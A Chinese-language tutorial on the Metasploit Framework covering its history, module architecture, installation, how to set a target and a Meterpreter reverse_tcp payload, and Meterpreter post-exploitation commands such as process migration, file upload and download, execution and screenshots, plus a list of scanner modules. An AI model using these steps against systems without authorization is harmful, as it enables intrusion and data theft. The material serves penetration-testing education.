前言
Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。(维基百科)
本文仅用于网络信息防御学习
发展历史
- 2003年10月 HD Moore 使用 Perl语言 开发了 Metasploit v1.0
- 2004年4月 在 Spoonm 的帮助下,完全重写了 Metasploit 的代码。主要更新:18个攻击模块和27个攻击载荷,并提供了控制台终端、命令行、Web三个使用接口
- 2004年8月 HD 和 Spoonm 带着最新发布的 Metasploit v2.0 在拉斯维加斯举办的BlackHat全球开发者大会上进行了演讲
- 2005年 在CanSecWest和黑客会议上,HD 和 Spoonm 指出Perl版本的Metasploit有很多问题,经历了18个月之后,Metasploit团队使用Ruby语言完全重写了Metasploit,发布了Metasploit v3.0。主要更新:177个攻击模块、104个攻击载荷、30个辅助模块
- 2009年10月 Metasploit被Rapid7公司收购
- 2010年10月 Rapid7公司发布了商业版本:Metasploit Express、Metasploit Pro
- 2011年8月 Metasploit 团队发布了v4.0版本。主要更新:引入了后渗透攻击模块(用于长期权限位置和攻击成果扩展)
- 2019年1月 Metasploit 团队发布了v5.0版本。主要更新:引入了新模块evasion capabilities(用于杀软免杀)
技术架构
- 辅助模块:为渗透测试的信息收集环节提供了支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄漏、Fuzz测试发掘漏洞、实施网络协议欺骗等
- 渗透攻击模块:利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取远程目标系统访问权
- 主动渗透攻击:主动渗透攻击所利用的漏洞位于服务端软件与服务承载上层应用程序中
- 被动渗透攻击:被动渗透攻击所利用的漏洞位于客户端软件中,例如:浏览器、浏览器插件、电子邮件客户端等
- 攻击载荷模块:在渗透攻击成功后使目标系统运行一段植入代码,通常用于为渗透这打开在目标系统上的控制会话连接
- 空指令模块:一些对程序运行不会构成任何实质影响的空指令或者无关操作指令,例如:在x86架构的CPU主机上操作码是0x90
- 编辑器模块:确保攻击载荷中不会出现渗透攻击过程中应加以避免的坏字符;对攻击载荷进行免杀处理
- 后渗透模块:提供攻击跳板
- 免杀模块:对载荷进行免杀处理
安装
1
| apt install metasploit-framework
|
- 安装位置:
/usr/share/metasploit-framework
更新
1
| apt install metasploit-framework
|
初始化漏洞数据库
启动msf控制台
msf命令
查找漏洞
17
:指的是漏洞发现的年份
010
:指的是当年发现的漏洞的编号
使用漏洞利用的模块
<name>
:模块名
- 模块的位置:
/usr/share/metasploit-framework/modules
查看漏洞所有详情
查看漏洞选项详情
1
| msf exploit(...) > show options
|
查看可用的攻击手段
1
| msf exploit(...) > show payloads
|
查看可执行的操作系统
1
| msf exploit(...) > show targets
|
设置漏洞利用的参数
- 根据列出的
Module options
,查看所有选项,然后查看必选选项,也就是Required
字段为yes的数据,如果此条数据的Current Setting
为空,需要添加参数
RHOST
:参数名
127.0.0.1
:参数值
1
| msf exploit(...) > set RHOST 127.0.0.1
|
设置漏洞利用的攻击手段
- 根据列出的
Payload options
,查看所有选项,然后查看必选选项,也就是Required
字段为yes的数据,如果此条数据的Current Setting
为空,需要添加参数
payload/windows/x64/meterpreter/reverse_tcp
:攻击手段名
1
| msf exploit(...) > set payload payload/windows/x64/meterpreter/reverse_tcp
|
开始执行漏洞利用
1
| msf exploit(...) > exploit
|
返回使用脚本之前
meterpreter命令
查看可以对对方使用的所有命令
meterpreter终端隐藏在后台
- 将meterpreter终端隐藏在后台,继续使用msf终端
1
| meterpreter > background
|
查看已成功获取的会话
-i
:切入后台会话
获取对方系统Shell
关闭当前Meterpreter会话
类似Shell命令的基本命令
<src>
:切换的路径
<file>
:文件路径
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| # 切换路径 meterpreter > cd <src>
# 查看当前路径下的文件 meterpreter > ls
# 查看当前所在的路径 meterpreter > pwd
# 查看文件内容 meterpreter > cat <file>
# 使用vim编辑器打开指定文件 meterpreter > edit <file>
|
搜索文件
1 2 3 4 5
| # 查看帮助 meterpreter > search -h
# 搜索文件 meterpreter > search -f *.txt
|
查看配置信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| # 查看系统信息 meterpreter > sysinfo
# 查看当前用户(权限) meterpreter > getuid
# 查看所有进程 meterpreter > ps
# 查看当前进程id meterpreter > getpid
# 查看网卡信息 meterpreter > ifconfig meterpreter > ipconfig
# 查看路由信息 meterpreter > route
|
切换进程
- 将当前的进程切换(附加)到另一个进程上(Windows下通常切换到
explorer.exe
上)
- 只能从高权限用户的进程切到低权限用户的进程
<pid>
:进程编号
1
| meterpreter > migrate <pid>
|
上传/下载文件
上传文件
<file>
:本机的指定文件路径
1
| meterpreter > upload <file>
|
下载文件
<file>
:目标的指定文件路径
1
| meterpreter > download <file>
|
执行文件
<file>
:目标的文件路径
1 2 3 4 5
| # 查看帮助 meterpreter > execute -h
# 执行文件 meterpreter > execute -f <file>
|
结束进程
<pid>
:进程id
1
| meterpreter > kill <pid>
|
关机
屏幕快照
- 在本机当前路径下生成一个随机文件名的目标屏幕快照文件
1
| meterpreter > screenshot
|
常用的漏洞利用模块
敏感目录扫描
auxiliary/scanner/http/dir_scanner
主机发现
auxiliary/scanner/discovery/arp_sweep
:ARP扫描,枚举网络中所有的活跃主机
auxiliary/scanner/discovery/empty_udp
:空扫描
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
:扫描速度较快,结果比较准,不易被察觉
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tcp
服务查点
auxiliary/scanner/telnet/telnet_version
:查看是否开启telnet服务
auxiliary/scanner/ssh/ssh_version
:查看是否开启ssh服务
auxiliary/scanner/mssql/mssql_ping
:查看是否开启Microsoft SQL Server服务
完成
参考文献
哔哩哔哩——千锋教育网络安全学院